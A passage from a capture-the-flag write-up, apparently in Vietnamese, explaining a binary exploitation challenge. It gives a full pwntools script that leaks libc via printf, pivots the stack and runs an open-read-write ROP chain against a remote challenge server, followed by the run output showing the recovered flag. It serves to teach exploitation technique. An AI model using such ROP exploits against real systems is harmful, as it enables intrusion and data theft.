payload += p64(exe.got['printf'])
payload += p64(0)
payload += p64(0)
payload += p64(ret)
payload += p64(exe.plt['printf'])
payload += p64(ret)
payload += p64(exe.symbols['main']+42)
io.sendlineafter(b': ', payload)
libc.address = u64(io.recv(6).ljust(8, b'\0')) - libc.symbols['printf']
log.info('libc.address: ' + hex(libc.address))

Sau khi đã có địa chỉ libc rồi thì mình có thể tính được địa chỉ của các gadget pop_raxsyscall.

Tiếp theo là vấn đề thứ hai, vì ở hàm main chương trình chỉ đọc vào buffer 152 byte nên mình không thể ghi thẳng 1 chain open-read-write lên stack được.

Vấn đề này thì có 2 cách giải quyết: Hoặc là thực hiện lần lượt từng hành động open, read, write riêng biệt, mỗi lần thực hiện xong thì quay về main+42 để tiếp tục ghi đè lên stack bằng chain tiếp theo. Hoặc có thể tạo một chain trước đó để đọc vào trong stack số byte đủ lớn đủ chứa cả payload open-read-write (mình sử dụng cách này).

# get new gadget from libc
syscall = libc.address + rop.find_gadget(['syscall', 'ret'])[0]
pop_rax = libc.address + rop.find_gadget(['pop rax', 'ret'])[0]

# 1st chain to read more bytes into the new stack
payload = b'./generate_directory_tree.py'.ljust(0x20, b'\0') + p64(exe.bss(0x100))
payload += p64(pop_args)
payload += p64(0)
payload += p64(exe.bss(0x100+64))
payload += p64(0x100)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(syscall)
io.sendline(payload)

Sau đó thì mình chỉ việc tạo payload là 1 chain open-read-write rồi ném hết vô trong stack là xong.

from pwn import *

context.binary = exe = ELF('chall', False)
libc = ELF('libc.so.6', False)

pop_args = 0x4014d9 # pop rdi; pop rsi; pop rdx; ret;
ret = 0x4014dc
rop = ROP(libc)

# io = process()
# gdb.attach(io, api=True)
io = remote('3.75.185.198', 10000)

# leak libc through printf (same technique with puts)
payload = b'\0' * 0x20
payload += p64(exe.bss(0x100)) # new rbp
payload += p64(pop_args)
payload += p64(exe.got['printf'])
payload += p64(0)
payload += p64(0)
payload += p64(ret)
payload += p64(exe.plt['printf'])
payload += p64(ret)
payload += p64(exe.symbols['main']+42)
io.sendlineafter(b': ', payload)
libc.address = u64(io.recv(6).ljust(8, b'\0')) - libc.symbols['printf']
log.info('libc.address: ' + hex(libc.address))

# get new gadget from libc
syscall = libc.address + rop.find_gadget(['syscall', 'ret'])[0]
pop_rax = libc.address + rop.find_gadget(['pop rax', 'ret'])[0]

# 1st chain to read more bytes into the new stack
payload = b'./generate_directory_tree.py'.ljust(0x20, b'\0') + p64(exe.bss(0x100))
payload += p64(pop_args)
payload += p64(0)
payload += p64(exe.bss(0x100+64))
payload += p64(0x100)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(syscall)
io.sendline(payload)
time.sleep(0.2)

# 2nd chain: open-read-write
# open
payload = p64(pop_args)
payload += p64(exe.bss(0x100)-0x20)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(syscall)
# read
payload += p64(pop_args)
payload += p64(5) # fd on remote server (maybe will be 3 on your local)
payload += p64(exe.bss(0x200))
payload += p64(100)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(syscall)
# write
payload += p64(pop_args)
payload += p64(1)
payload += p64(exe.bss(0x200))
payload += p64(100)
payload += p64(pop_rax)
payload += p64(1)
payload += p64(syscall)

payload += p64(exe.symbols['main']+42)
io.sendline(payload)

io.interactive()
$ python3 exp.py
[*] Loaded 219 cached gadgets for 'libc.so.6'
[+] Opening connection to 3.75.185.198 on port 10000: Done
[*] libc.address: 0x7ff5b1e8e000
[*] Switching to interactive mode
import os
import random
import string

flag = "MAPNA{d3lu510n-0f-pr073c710n-28fba2}"

MIN_NAME_LENGT